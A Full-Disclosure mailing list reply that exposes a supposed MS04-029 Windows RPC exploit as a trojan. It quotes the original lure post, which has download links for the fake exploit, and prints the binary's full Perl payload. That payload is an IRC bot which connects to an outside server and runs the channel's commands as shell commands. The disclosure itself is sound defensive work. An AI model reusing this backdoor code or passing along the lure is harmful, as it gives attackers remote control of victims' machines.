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Re: [Full-Disclosure] New Remote Windows Exploit (MS04-029)

its a trojan...

kfinisterre@linux:~> strings /tmp/hi
#!/usr/bin/perl
$chan="#0x";$nick="k";$server="ir3ip.net";$SIG{TERM}={};exit if fork;use IO::Socket;$sock = IO::Socket::INET->new($server.":6667")||exit;print $sock "USER k +i k :kv1\nNICK k\n";$i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) /){$mode=$1;last if $mode=="001";if($mode=="433"){$i++;$nick=~s/\d*$/$i/;print $sock "NICK $nick\n";}}print $sock "JOIN $chan\nPRIVMSG $chan :Hi\n";while(<$sock>){if (/^PING (.*)$/){print $sock "PONG $1\nJOIN $chan\n";}if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/){s/\s*$//;$_=`$_`;foreach(split "\n"){print $sock "PRIVMSG $chan :$_\n";sleep 1;}}}#/tmp/hi

-KF


Max Load wrote: 
/*
 *  Date: 2004/10/30
 *  Maxload load_max@xxxxxxxxx
 *
 *  Exploit for \"Vulnerability in RPC Runtime Library\"
 *  http://www.microsoft.com/technet/security/bulletin/MS04-029.mspx
 *
 *  Tested Against:
 *  Windows 2000 (SP3 SP4)
 *  Windows XP (SP1 SP2)
 *  Windows NT4 (SP6a)
 *
 *  EXPLOIT IS PROVIDED FOR EDUCATIONAL PURPOSES ONLY AS A PROOF OF CONCEPT
 *  I TAKE NO RESPONSIBILITY FOR ANY USE OF THIS CODE.
 *
 *
 *  Instructions:
 *
 *  [user@localhost] $ gcc -o maxload maxload.c
 *  [user@localhost] $ ./maxload
 *  *** MaxLoad (windows rpc exploit) v.1 ***
 *
 *  For educational propose only!
 *  error: you must enter a valid ip
 *  usage:./maxload [IP-ADDRESS]
 *  e.g: ./maxload 192.168.1.23
 *
 *
 *  [user@localhost] $ ./maxload 192.168.1.2
 *  *** MaxLoad (windows rpc exploit) v.1 ***
 *  For educational propose only!
 *  Succes! Try connect to 192.168.1.2 port 31337
 *
 *
 *  [user@localhost] $ telnet 192.168.1.2 31337
 *  Connected to 192.168.1.2.
 *  Escape character is \'^]\'.
 *
 *  Microsoft Windows XP [Version 5.1.2600]
 *  © Copyright 1985-2001 Microsoft Corp.
 *
 *  C:\\>
 *
 * Bang, here you go, administrative access..
 *
 */

Do i need too say more :D

https://fri-adgang.dk/?get=1056]maxload.c (source code)
https://fri-adgang.dk/?get=1055]maxload (linux static binary)

-MaxLoad

_______________________________________________
Full-Disclosure - We believe in it.
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html